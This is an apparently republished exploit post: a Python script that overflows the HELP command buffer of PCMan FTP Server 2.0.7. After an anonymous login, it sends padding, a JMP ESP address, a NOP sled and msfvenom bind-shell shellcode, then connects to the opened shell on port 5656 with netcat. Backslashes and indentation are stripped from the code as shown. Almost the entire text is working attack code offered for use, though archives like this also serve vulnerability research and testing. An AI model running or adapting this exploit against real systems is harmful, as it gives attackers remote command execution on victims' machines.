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PCMan FTP Server 2.0.7 HELP Buffer Overflow

Posted on 11 November 2016

#!/usr/bin/env python
#-*- coding: utf-8 -*-

# Exploit Title: PCMan FTP Server 2.0.7 - 'HELP' Command Buffer Overflow
# Date: 07/11/2016
# Author: Yunus YILDIRIM (Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Tested on: Windows 7 Ultimate 32Bit

import socket
import sys
import os
import time

def banner():
banner = "

"
banner +=" aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaa aaaaaaa 
"
banner +=" aaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
"
banner +=" aaa aaaaaaaaa aaaaa aaaaaa aaaaaaaaaaaaaaaaa 
"
banner +=" aaa aaaaaaaaaaaaaa aaaaaa aaaaaaaaaaaaaaaaa 
"
banner +=" aaaaaaaa aaa aaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa 
"
banner +=" aaaaaaa aaa aaaaaaaaaaaaaaaaaaa aaa aaaaaaa 
"
banner +=" 
"
print banner

def exploit(target, port):

eip = "xC3x9CxB4x76" #SHELL32.dll 76B49CC3 JMP ESP

# msfvenom -p windows/shell_bind_tcp LPORT=5656 -b 'x00x0ax0dxff' -f c
shellcode = ("xdbxcfxd9x74x24xf4xbax9fxefx1bx27x5ex29xc9xb1"
"x53x31x56x17x03x56x17x83x59xebxf9xd2x99x1cx7f"
"x1cx61xddxe0x94x84xecx20xc2xcdx5fx91x80x83x53"
"x5axc4x37xe7x2exc1x38x40x84x37x77x51xb5x04x16"
"xd1xc4x58xf8xe8x06xadxf9x2dx7ax5cxabxe6xf0xf3"
"x5bx82x4dxc8xd0xd8x40x48x05xa8x63x79x98xa2x3d"
"x59x1bx66x36xd0x03x6bx73xaaxb8x5fx0fx2dx68xae"
"xf0x82x55x1ex03xdax92x99xfcxa9xeaxd9x81xa9x29"
"xa3x5dx3fxa9x03x15xe7x15xb5xfax7exdexb9xb7xf5"
"xb8xddx46xd9xb3xdaxc3xdcx13x6bx97xfaxb7x37x43"
"x62xeex9dx22x9bxf0x7dx9ax39x7bx93xcfx33x26xfc"
"x3cx7exd8xfcx2ax09xabxcexf5xa1x23x63x7dx6cxb4"
"x84x54xc8x2ax7bx57x29x63xb8x03x79x1bx69x2cx12"
"xdbx96xf9x8fxd3x31x52xb2x1ex81x02x72xb0x6ax49"
"x7dxefx8bx72x57x98x24x8fx58xb0xacx06xbexd6xdc"
"x4ex68x4ex1fxb5xa1xe9x60x9fx99x9dx29xc9x1exa2"
"xa9xdfx08x34x22x0cx8dx25x35x19xa5x32xa2xd7x24"
"x71x52xe7x6cxe1xf7x7axebxf1x7ex67xa4xa6xd7x59"
"xbdx22xcaxc0x17x50x17x94x50xd0xccx65x5exd9x81"
"xd2x44xc9x5fxdaxc0xbdx0fx8dx9ex6bxf6x67x51xc5"
"xa0xd4x3bx81x35x17xfcxd7x39x72x8ax37x8bx2bxcb"
"x48x24xbcxdbx31x58x5cx23xe8xd8x6cx6exb0x49xe5"
"x37x21xc8x68xc8x9cx0fx95x4bx14xf0x62x53x5dxf5"
"x2fxd3x8ex87x20xb6xb0x34x40x93")

buffer = 'A'*2006 + eip + "x90"*21 + shellcode

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
print "[+] Connect to %s on port %d" % (target,port)
except Exception, e:
print "[-] Could not create socket", e.message
sys.exit(0)

try:
s.send('USER anonymous
')
s.recv(1024)
s.send('PASS CT-Zer0
')
s.recv(1024)
s.send('HELP ' + buffer + '
')
print "[+] Exploit Sent Successfully"
s.close()
print '[+] You got bind shell on port 5656
'
time.sleep(2)
os.system('nc ' + target + ' 5656')
except:
print "[-] Could not connect to target"

if len(sys.argv) == 3:
banner()
target = sys.argv[1]
port = int(sys.argv[2])
exploit(target, port)
else:
banner()
print "[*] Usage: python %s <IP> <Port>
" % sys.argv[0]
sys.exit(0)

 

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